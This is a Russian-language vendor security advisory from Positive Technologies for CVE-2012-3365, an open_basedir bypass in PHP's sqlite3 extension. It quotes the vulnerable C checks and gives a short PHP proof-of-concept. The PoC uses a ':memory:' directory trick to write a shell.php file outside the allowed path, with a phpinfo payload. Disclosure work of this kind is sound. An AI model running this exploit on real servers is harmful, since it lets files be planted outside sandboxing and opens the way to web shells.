PT-2012-14: Обход ограничений безопасности в PHP

Уязвимое ПО

PHP
Версия: 5.4.4 и более ранняя; 5.3.14 и более ранняя

Ссылка:
http://php.net/

Рейтинг опасности

Уровень опасности: Средний
Воздействие: Обход ограничений безопасности
Вектор атаки: Удаленный

CVSS v2:
Base Score: 5.0
Vector: (AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVE: CVE-2012-3365

Описание программы

PHP (Hypertext Preprocessor) — скриптовый язык программирования общего назначения, часто используемый для разработки веб-приложений.

Описание уязвимости

Эксперты исследовательского центра Positive Research компании Positive Technologies обнаружили уязвимость "Обход ограничений безопасности" в приложении PHP.

В PHP 5.4.4/5.3.14 и более ранних версиях возможен обход директивы open_basedir из-за различий в проверках названия базы данных в PHP-расширении sqlite/sqlite3 и libsqlite. Возможно создание файла в формате базы данных SQLite за пределами open_basedir.

Уязвимость обнаружена в файле /ext/sqlite3/sqlite3.c. Уязвимый фрагмент кода:

PHP_METHOD(sqlite3, open)
{
...
if (strncmp(filename, ":memory:", 8) != 0) {
...
if (php_check_open_basedir(fullpath TSRMLS_CC)) {
...
}
} else {
fullpath = estrdup(filename);
}


Уязвимость обнаружена в файле /ext/sqlite3/libsqlite/sqlite3.c. Уязвимый фрагмент кода:

const int isMemdb = (zFilename && strcmp(zFilename, ":memory:")==0) || (isTempDb && sqlite3TempInMemory(db));

Пример эксплуатации
Выполнение данного PHP-кода приведет к созданию базы данных SQLite за пределами open_basedir.
<?php
mkdir(':memory:');
$database = new SQLite3(":memory:/../../shell.php");
$database->exec("CREATE TABLE foo (bar STRING)");
$database->exec("INSERT INTO foo (bar) VALUES ('<?php phpinfo(); ?>')");
$database->close();
rmdir(':memory:');
?>

Решение

Установите последнюю версию приложения.

Статус уведомления

22.06.2012 - Производитель уведомлен
22.06.2012 - Производителю отправлены детали уязвимости
19.07.2012 - Производитель выпустил исправление
04.02.2013 - Публикация уязвимости

Благодарности

Уязвимость обнаружил Сергей Бобров (Исследовательcкий центр Positive Research компании Positive Technologies)

Ссылки

http://www.securitylab.ru/lab/PT-2012-14

Список отчетов о ранее обнаруженных уязвимостях Positive Research:

http://www.ptsecurity.ru/lab/advisory/
http://www.securitylab.ru/lab/